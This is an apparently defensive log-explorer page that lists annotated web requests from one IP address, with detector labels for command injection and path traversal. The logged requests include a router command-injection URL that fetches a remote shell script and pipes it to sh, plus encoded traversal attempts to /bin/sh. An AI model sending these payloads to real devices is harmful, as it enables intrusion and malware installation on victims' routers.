DigitalOcean Referral Badge
cloud1
cloud2
cloud3
cloud4
cloud5
cloud6
← Back to IP report

Log Explorer

Fact drill-down for 87.121.84.132
Risk 19 LOW Scope All time All-time facts 59 In-scope 59 Filtered 59 Seen 2025-03-11 → 2025-08-02
Reset (all-time)
Active (none) Clear
Faceted filters (facts-based) exact core + snapshot + optional start/end
Annotation facets
HTTP facets
Snapshot facets
Custom time window (optional override)
Provide start/end to scope time explicitly (overrides days). Leave blank for all-time.
Tip: keep windows tight when you need speed, but the default is fact-complete.
Top annotators (facts, in-scope)
cmdi 21 base 16 trav 8 ua 7 proto 4 method 3
Top labels (facts, in-scope)
cmdi 21 observed 16 trav 8 ua 7 proto 4 method 3
Click a pill to apply it as a filter.

Annotated access events

Showing page 1 / 2 — total 59 rows
# 2025-08-02 07:05:16 event 13862830 GET 301 bytes 178
ann base label observed
Request event observed
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-08-02 07:05:16 event 13862830 GET 301 bytes 178
ann cmdi 22 label cmdi
Request Command/file-injection indicator: cmdi:pipe_or_redirect
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
cmdi
rule
cmdi:pipe_or_redirect
conf
75.00
details
Pipe/redirect operators in a context that resembles command execution. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
Command/file-injection indicator: cmdi:pipe_or_redirect
details
Pipe/redirect operators in a context that resembles command execution. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-08-02 07:05:16 event 13862830 GET 301 bytes 178
ann cmdi 28 label cmdi
Request Command/file-injection indicator: cmdi:op_plus_cmd
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
cmdi
rule
cmdi:op_plus_cmd
conf
88.00
details
Command separator/operator combined with a recognized command token. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
Command/file-injection indicator: cmdi:op_plus_cmd
details
Command separator/operator combined with a recognized command token. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-08-02 07:05:16 event 13862830 GET 301 bytes 178
ann cmdi 30 label cmdi
Request Command/file-injection indicator: cmdi:subshell
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
cmdi
rule
cmdi:subshell
conf
92.00
details
Detected subshell execution syntax (`...` or $(...)). Snippet='bin/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
Command/file-injection indicator: cmdi:subshell
details
Detected subshell execution syntax (`...` or $(...)). Snippet='bin/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-08-01 05:36:15 event 12685036 POST 400 bytes 166
ann ua 8 label ua
Request Very short User-Agent string
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
Annotation facts
label
ua
rule
ua:very_short
conf
65.00
details
Short/generic UAs are common in basic scripts and commodity automation.
More (full fields + snapshot) expand
url
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
summary
Very short User-Agent string
details
Short/generic UAs are common in basic scripts and commodity automation.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-08-01 05:36:15 event 12684995 POST 400 bytes 166
ann ua 8 label ua
Request Very short User-Agent string
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
Annotation facts
label
ua
rule
ua:very_short
conf
65.00
details
Short/generic UAs are common in basic scripts and commodity automation.
More (full fields + snapshot) expand
url
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
summary
Very short User-Agent string
details
Short/generic UAs are common in basic scripts and commodity automation.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-08-01 05:36:15 event 12685036 POST 400 bytes 166
ann trav 26 label trav
Request Path traversal / LFI indicator detected
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
Annotation facts
label
trav
rule
trav:mixed_separators
conf
90.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-08-01 05:36:15 event 12685036 POST 400 bytes 166
ann trav 28 label trav
Request Path traversal / LFI indicator detected
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
Annotation facts
label
trav
rule
trav:dotdot_slash
conf
92.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-08-01 05:36:15 event 12684995 POST 400 bytes 166
ann trav 26 label trav
Request Path traversal / LFI indicator detected
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
Annotation facts
label
trav
rule
trav:mixed_separators
conf
90.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-08-01 05:36:15 event 12684995 POST 400 bytes 166
ann trav 28 label trav
Request Path traversal / LFI indicator detected
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
Annotation facts
label
trav
rule
trav:dotdot_slash
conf
92.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-08-01 05:36:15 event 12685036 POST 400 bytes 166
ann base label observed
Request event observed
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-08-01 05:36:15 event 12684995 POST 400 bytes 166
ann base label observed
Request event observed
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-08-01 05:36:15 event 12685036 POST 400 bytes 166
ann proto 12 label proto
Request Malformed percent-encoding in request target
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
Annotation facts
label
proto
rule
proto:bad_percent_encoding
conf
72.00
details
A '%' not followed by two hex digits was detected. Often caused by fuzzers/scanners or broken clients; sometimes used for evasions.
More (full fields + snapshot) expand
url
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
summary
Malformed percent-encoding in request target
details
A '%' not followed by two hex digits was detected. Often caused by fuzzers/scanners or broken clients; sometimes used for evasions.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-08-01 05:36:15 event 12684995 POST 400 bytes 166
ann proto 12 label proto
Request Malformed percent-encoding in request target
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
Annotation facts
label
proto
rule
proto:bad_percent_encoding
conf
72.00
details
A '%' not followed by two hex digits was detected. Often caused by fuzzers/scanners or broken clients; sometimes used for evasions.
More (full fields + snapshot) expand
url
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
summary
Malformed percent-encoding in request target
details
A '%' not followed by two hex digits was detected. Often caused by fuzzers/scanners or broken clients; sometimes used for evasions.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-08-01 01:47:17 event 12494651 POST 400 bytes 166
ann ua 8 label ua
Request Very short User-Agent string
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
Annotation facts
label
ua
rule
ua:very_short
conf
65.00
details
Short/generic UAs are common in basic scripts and commodity automation.
More (full fields + snapshot) expand
url
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
summary
Very short User-Agent string
details
Short/generic UAs are common in basic scripts and commodity automation.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-08-01 01:47:17 event 12494651 POST 400 bytes 166
ann trav 26 label trav
Request Path traversal / LFI indicator detected
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
Annotation facts
label
trav
rule
trav:mixed_separators
conf
90.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-08-01 01:47:17 event 12494651 POST 400 bytes 166
ann trav 28 label trav
Request Path traversal / LFI indicator detected
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
Annotation facts
label
trav
rule
trav:dotdot_slash
conf
92.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-08-01 01:47:17 event 12494651 POST 400 bytes 166
ann base label observed
Request event observed
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-08-01 01:47:17 event 12494651 POST 400 bytes 166
ann proto 12 label proto
Request Malformed percent-encoding in request target
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
Annotation facts
label
proto
rule
proto:bad_percent_encoding
conf
72.00
details
A '%' not followed by two hex digits was detected. Often caused by fuzzers/scanners or broken clients; sometimes used for evasions.
More (full fields + snapshot) expand
url
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
summary
Malformed percent-encoding in request target
details
A '%' not followed by two hex digits was detected. Often caused by fuzzers/scanners or broken clients; sometimes used for evasions.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-31 08:47:30 event 11850787 POST 400 bytes 166
ann ua 8 label ua
Request Very short User-Agent string
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
Annotation facts
label
ua
rule
ua:very_short
conf
65.00
details
Short/generic UAs are common in basic scripts and commodity automation.
More (full fields + snapshot) expand
url
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
summary
Very short User-Agent string
details
Short/generic UAs are common in basic scripts and commodity automation.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-31 08:47:30 event 11850787 POST 400 bytes 166
ann trav 26 label trav
Request Path traversal / LFI indicator detected
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
Annotation facts
label
trav
rule
trav:mixed_separators
conf
90.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-31 08:47:30 event 11850787 POST 400 bytes 166
ann trav 28 label trav
Request Path traversal / LFI indicator detected
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
Annotation facts
label
trav
rule
trav:dotdot_slash
conf
92.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-31 08:47:30 event 11850787 POST 400 bytes 166
ann proto 12 label proto
Request Malformed percent-encoding in request target
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
Annotation facts
label
proto
rule
proto:bad_percent_encoding
conf
72.00
details
A '%' not followed by two hex digits was detected. Often caused by fuzzers/scanners or broken clients; sometimes used for evasions.
More (full fields + snapshot) expand
url
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
summary
Malformed percent-encoding in request target
details
A '%' not followed by two hex digits was detected. Often caused by fuzzers/scanners or broken clients; sometimes used for evasions.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-31 08:47:30 event 11850787 POST 400 bytes 166
ann base label observed
Request event observed
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
referer
-
UA
-
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 09:27:57 event 11082949 POST 301
ann base label observed
Request event observed
/tmUnblock.cgi
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/tmUnblock.cgi
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 09:27:57 event 11082939 POST 301
ann base label observed
Request event observed
/tmUnblock.cgi
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/tmUnblock.cgi
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 07:10:22 event 10973625 GET 301 bytes 178
ann base label observed
Request event observed
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 07:10:22 event 10973624 GET 301 bytes 178
ann base label observed
Request event observed
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 07:10:22 event 10973625 GET 301 bytes 178
ann cmdi 22 label cmdi
Request Command/file-injection indicator: cmdi:pipe_or_redirect
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
cmdi
rule
cmdi:pipe_or_redirect
conf
75.00
details
Pipe/redirect operators in a context that resembles command execution. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
Command/file-injection indicator: cmdi:pipe_or_redirect
details
Pipe/redirect operators in a context that resembles command execution. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 07:10:22 event 10973625 GET 301 bytes 178
ann cmdi 28 label cmdi
Request Command/file-injection indicator: cmdi:op_plus_cmd
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
cmdi
rule
cmdi:op_plus_cmd
conf
88.00
details
Command separator/operator combined with a recognized command token. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
Command/file-injection indicator: cmdi:op_plus_cmd
details
Command separator/operator combined with a recognized command token. Snippet='n/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Florida, Miami
org
VPSVAULT.HOST LTD
# 2025-07-30 07:10:22 event 10973625 GET 301 bytes 178
ann cmdi 30 label cmdi
Request Command/file-injection indicator: cmdi:subshell
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Annotation facts
label
cmdi
rule
cmdi:subshell
conf
92.00
details
Detected subshell execution syntax (`...` or $(...)). Snippet='bin/luci/;stok=/locale?form=country&operation=write&country=$(wget -qO- http://83.252.42.112/rondo.zqq.sh|sh;) -'
More (full fields + snapshot) expand
url
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%24%28wget%20-qO-%20http%3A%2F%2F83.252.42.112%2Frondo.zqq.sh%7Csh%3B%29
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
summary
Command/file-injection indicator: cmdi:subshell
details
